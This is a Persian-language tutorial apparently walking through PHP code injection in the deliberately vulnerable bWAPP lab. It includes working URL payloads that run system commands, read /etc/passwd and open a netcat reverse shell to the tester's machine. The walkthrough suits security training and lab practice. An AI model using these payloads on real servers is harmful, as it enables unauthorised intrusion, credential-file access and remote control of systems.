در این مقاله به تزریق کد PHP میپدازیم. این روش حمله در سمت سرور اجرا می شود و پردازش کد در سمت سرور انجام شده و امکان دسترسی به دیتای سرور و یا نصب shell را به مهاجم می دهد.
در ادامه پست قبلی در این مقاله به آسیب پذیری PHP Injection میپدازیم. این روش حمله در سمت سرور اجرا می شود و پردازش کد در سمت سرور انجام شده و امکان دسترسی به دیتای سرور و یا نصب shell را به مهاجم می دهد. در اینجا هم برای هدف آموزش این نوع حمله از bee-Box در bWAPP استفاده میکنیم.
برای شروع کار در login میکنیم و در قسمت choose your bug گزینه PHP Code Injection را انتخاب میکنیم دکمه Hack را میزنیم. پیغام زیر ظاهر میشود:
/PHP Code Injection/
This is just a test page, reflecting back your message
زمانی که روی message در پیغام بالا کلیک میکنیم کلمه test ظاهر میشود و اگر به URL صفحه دقت کنیم که به شکل زیر است:
IP address/bWAPP/phpi.php?message=test
این روش آدرس دهی در PHP است و پارامتر message را برابر test قرار داده است و اگر test را با hello تغییر بدهیم در صفحه وب hello را به جای test نمایش میدهد. بصورت خیلی ساده می بینیم که ورودی کاربر، پس از پردازش سمت سرور نمایش داده می شود. در حالت واقعی، وب سرورها را به این شکل با PHP پیکربندی نمیکنند و اگر به این شکل وب سایت را طراحی کنند هر کسی میتواند پارامترهای وب را تغییر دهد.
در ادمه به جای hello متن زیر را یا تگ قرار میدهیم:
<h1>hello<h1>
و بعد از وارد کردن این کد به URL صفحه وب چیزی را نشان نمیهد. این فرایند مشخص می کند، آسیب پذیری بصورت Html Injection نمی باشد و تگ های Html کارایی ندارند.
در ادامه بخشی از PHP را یاداوری میکنیم که هر خط کد PHP با “;” پایان مییابد و به عنوان یه خط کد، تفسیر میشود. از این موضع استفاده میکنیم و در ادامه خط URL میتوان دستور های مختلف با اضافه کردن “;” به URL خط کد اضافه کنیم.
در PHP برای اینکه ادستورات سطح سیستم را اجرا کنیم، می توان از کلمه کلیدی system استفاده نمود. از این کد استفاده میکنیم و در URL کد زیر را قرار میدهیم تا نام کاربری سیستم را نمایش دهیم:
[IP address]/bWAPP/phpi.php?message=test;system(“whoami”)
بعد از وارد کردن این خط کد در URL کد زیر در صفحه وب نمایش داده میشود:
testwww-data
یا برای مثال، از این طریق میتوان روی سرور برای دسترسی به فایلها استفاده نمود و برای اینکه بفهمیم فایل پسوورد بر روی سرور است کد زیر را به URL اضافه میکنیم.
[server Ip address]/bWAPP/phpi.php?message=test;system(“cat/etc/passwd”)
برای بررسی بیشتر به منظور تست اجرای ReverseShell، از Netcat استفاده میکنیم و دستور زیر را در ترمینال لینوکس برای ایجاد یک listener وارد میکنیم:
nc -nvlp 1234
در این زمان بر روی URL آدرس Netcat را آدرسدهی می کنیم، تمام اطلاعاتی که از رد و بدل میشود شنود میشود و با زدن کد زیر در URL میتوان روی سرور فایل bash را اجرا نمود:
[server IP address]/bWAPP/phpi.php?message=test;system(“nc [your IP adress] 1234 -e /bin/bash”)
بعد از وارد کردن در ترمینال پیغام اتصال کامپیوتر شما به سرور را میدهد که به شکل زیر است:
Connect to [server Ip address] from (UNKNOWN) your IP address 54085
و در ادامه با وارد کردن pwd در ترمینال، مسیر فعلی Shell بر روی وب سرور مشاهده میشود:
/var/www/bWAPP
و با وارد کردن دستور ls تمام فایلهای داخل سرور را به ما نشان میدهد.
منبع:
https://www.youtube.com/watch?v=GE2HyC7Gwrs&list=PLBf0hzazHTGNJXBjepzN7l9OHcuH9ZvOq&index=5